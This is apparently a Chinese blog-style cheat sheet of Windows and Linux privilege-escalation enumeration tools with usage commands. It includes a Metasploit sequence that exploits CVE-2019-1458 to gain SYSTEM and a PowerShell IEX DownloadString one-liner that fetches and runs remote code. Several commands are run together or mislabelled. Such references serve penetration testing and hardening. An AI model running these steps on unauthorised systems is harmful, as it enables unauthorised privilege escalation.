常用的提权扫描辅助工具总结

使用Windows-Exploit-Suggester解析systeminfo

下载地址：https://github.com/AonCyberLabs/Windows-Exploit-Suggester

```Python
./windows-exploit-suggester.py
```

使用Linux-Exploit-Suggester.sh寻找linux提权问题

下载地址：https://github.com/mzet-/linux-exploit-suggester

```CSS
./linux-exploit-suggester.sh
```

使用Sherlock工具

下载地址：https://github.com/rasta-mouse/Sherlock

```Fortran
Import-Module Sherlock.ps1Find-AllVulns
```

使用MSF查询补丁和可利用提权漏洞

```Delphi
#查询补丁meterpreter> run post/windows/gather/enum_patches [+] KB2999226 installed on 11/25/2020[+] KB976902 installed on 11/21/2010#查询Expmsf> use post/multi/recon/local_exploit_suggester msf> set LHOST <攻击机IP>msf> set SESSION <session_id>msf> run# 利用示例msf> use exploit/windows/local/cve_2019_1458_wizardopium msf> set SESSION <session_id>msf> runmeterpreter> getuidServer username: NT AUTHORITY\SYSTEM
```

使用powerup检查提权漏洞

```Bash
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"powershell.exe -nop -exec bypass -c "IEX (New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire);Invoke-AllChecks"
```

使用accesschk.exe对系统扫描发现高权限可执行程序，且能够被低权限用户更改

```Nginx
accesschk "d:\dir"查看所有用户在d盘dir路径的子路径的权限accesschk "Administrator "d:\dir"查看Administrator用户在d盘dir路径的子路径的权限accesschk Administrators -c *查看Administrators组对所有服务的权限accesschk -k Guest hklm\software查看Guest用户对hklm\software注册表的权限accesschk -ou User查看User用户对全局对象的权限
```

查找主机上具有的CVE，查找具有公开EXP的CVE的Python脚本

下载地址：https://github.com/chroblert/WindowsVulnScan

```CSS
.\KBCollect.ps1python3 -m pip install requirements.txtcve-check.py -u查看具有公开EXP的CVEcve-check.py -C -f KB.json
```

在线提权漏洞检测平台

极光无限出品的安全扫描仪，在提权方面，基于其强大的安全检测能力，能够给出专业的修复建议，有效验证和加固网络资产漏洞。

查询地址：https://detect.secwx.com/

提权辅助网页

在Windows提权的时候，对比补丁找Exp很烦吧？这个网站数据源每周更新一次，值得推荐

查询地址：http://bugs.hacking8.com/tiquan/